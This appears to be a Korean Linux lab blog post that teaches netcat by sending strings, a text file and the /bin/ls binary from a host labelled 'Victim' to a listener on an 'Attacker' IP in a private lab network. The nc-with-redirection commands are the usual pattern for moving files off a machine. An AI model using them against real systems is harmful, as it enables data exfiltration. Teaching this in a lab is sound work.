Linux/Linux 실습

[Linux] netcat 을 이용한 문자 & 데이터 전송

GGkeeper 2021. 11. 10. 02:57

실습> netcat을 이용한 문자열 전송하기

1. 포트 오픈
Attacker# nc -lvp 9000
listening on [any] 9000 ...

2. 포트 접속
Victim# nc
Cmd line: 192.168.50.200 9000       -> Attacker IP 192.168.50.200

3. 데이터 전송
Attacker# nc -lvp 9000
listening on [any] 9000 ...
192.168.50.132: inverse host lookup failed: Unknown host
connect to [192.168.50.200] from (UNKNOWN) [192.168.50.132] 48900
aaa
bbb
안녕하세요.
반가워요..

Victim# nc
Cmd line: 192.168.50.200 9000
aaa
bbb
안녕하세요.
반가워요..


실습> netcat을 이용한 데이터 전송하기

1. text 파일 전송
Victim# vi copy.txt
안녕하세요.
nc 테스트입니다.

화면에만 출력한다.
Attacker# nc -lvp 9000 
Victim# nc 192.168.50.200 9000 < copy.txt

파일로 저장할 때는 출력 리다이렉션(>)을 이용하면 copy.txt 파일에 보내준 내용이 저장된다.
Attacker# nc -lvp 9000 > copy.txt 

Attacker 쪽으로 copy.txt 파일의 내용을 읽어서 모두 전송한다.
Victim에서 Attacker로 파일의 내용을 보낼줄때는 입력 리다이렉션(<)을 이용한다.
Victim# nc 192.168.50.200 9000 < copy.txt

2. 바이너리(이진파일) 파일 전송       -> 바이너리 파일은 0과 1, 즉 2진수로 이루어진 파일을 의미한다. 컴퓨터 통신에                                                       서는 주로 화상, 음성 등의 대부분 파일들이 바이너리 파일로 처리된다.

바이너리 파일을 화면에 출력이 깨지므로 파일로 바로 저장한다.
Attacker# nc -lvp 9000 > testls

Victim# ls -l /bin/ls
-rwxr-xr-x. 1 root root 117608  8월 20  2019 /bin/ls
Victim# nc 192.168.50.200 9000 < /bin/ls
^C

Attacker# ls -l testls
-rw-r--r-- 1 root root 117608 Oct 22 06:19 testls

Attacker# chmod 755 testls
Attacker# ./testls